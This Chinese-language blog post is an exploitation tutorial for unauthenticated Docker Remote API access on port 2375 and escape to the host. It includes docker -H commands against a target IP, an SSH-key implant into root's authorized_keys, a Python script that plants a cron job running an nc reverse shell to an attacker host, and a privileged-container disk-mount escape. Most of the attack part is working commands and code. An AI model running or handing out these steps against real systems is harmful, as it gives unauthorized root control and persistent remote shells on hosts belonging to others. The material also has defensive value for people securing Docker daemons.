Docker Remote API未授权访问与逃逸RCE
Docker 是一个提供容器化软件打包和交付的平台即服务(PaaS)解决方案。
漏洞原理
Docker 守护进程(dockerd)提供了一个 REST API,允许远程管理 Docker 容器、镜像和其他资源。
当 Docker 守护进程被配置为监听网络端口(通常是 TCP 端口 2375)且未启用适当的身份验证机制时,攻击者 可以未经授权访问 Docker API,执行 docker 命令。
利用此漏洞,攻击者可以在主机系统上创建、修改和执行容器,可能导致远程代码执行、数据窃取以及完全控制主机系统。
漏洞检测
访问 http://ip:2375/version 发现存在未授权

执行 docker 命令
sudo docker -H tcp://127.0.0.1:2375 images
sudo docker -H tcp://127.0.0.1:2375 ps -a
提权方法
第一种:写入SSH公钥
启动一个容器,挂载宿主机的 /root/目录,之后将攻击者的 SSH 公钥 ~/.ssh/id_rsa.pub 的内容写到入宿主机的 /root/.ssh/authorized_keys 文件中,之后就可以用 root 账户直接登录了
本地获取 SSH 公钥
ssh-keygen -t rsa

将公钥复制到被攻击者的 /root/.ssh/authorized_keys 文件中然后远程连接
第二种:crontab反弹Shell
import docker
client = docker.DockerClient(base_url='http://192.168.X.X:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * */usr/bin/nc 192.168.X.X 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''',remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
# 意思是:使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了
# 可以将命令写入 crontab 配置文件,进行反弹shell
第三种:通过容器
去官方下载一个镜像文件 alpine
docker -H tcp://192.168.241.142:2375 pull alpine
接下来启动容器,并进入 alpine 容器
docker -H tcp://192.168.241.142:2375 images
docker -H tcp://192.168.241.142:2375 run -it --privileged alpine /bin/sh
#在 kali 中启动一个有交互的shell,并且是特权镜像
#当操作者执行 docker run —privileged 时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限
注意:在特权模式下,逃逸的方式很多;比如:直接在容器内部挂载宿主机磁盘,然后切换根目录
从返回的信息中可以判断出,/dev/sda5是主分区,那么接下来直接在容器内部挂载宿主机磁盘
mkdir /wxiaoge
mount /dev/sda5 /wxiaoge
cd wxiaoge/
touch wxiaoge.txt

接下来看一下靶机中确实创建了wxiaoge.txt文件,docker 逃逸成功

接下来可以反弹主机Shell,创建xxx.sh文件

添加执行权限,并且写入到定时任务中

-END-
版权所有:晨星交流
文章标题:Docker Remote API未授权访问逃逸RCE分析
文章链接:https://morningstar.xin/?post=130
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:Docker Remote API未授权访问逃逸RCE分析
文章链接:https://morningstar.xin/?post=130
本站文章均为原创,未经授权请勿用于任何商业用途




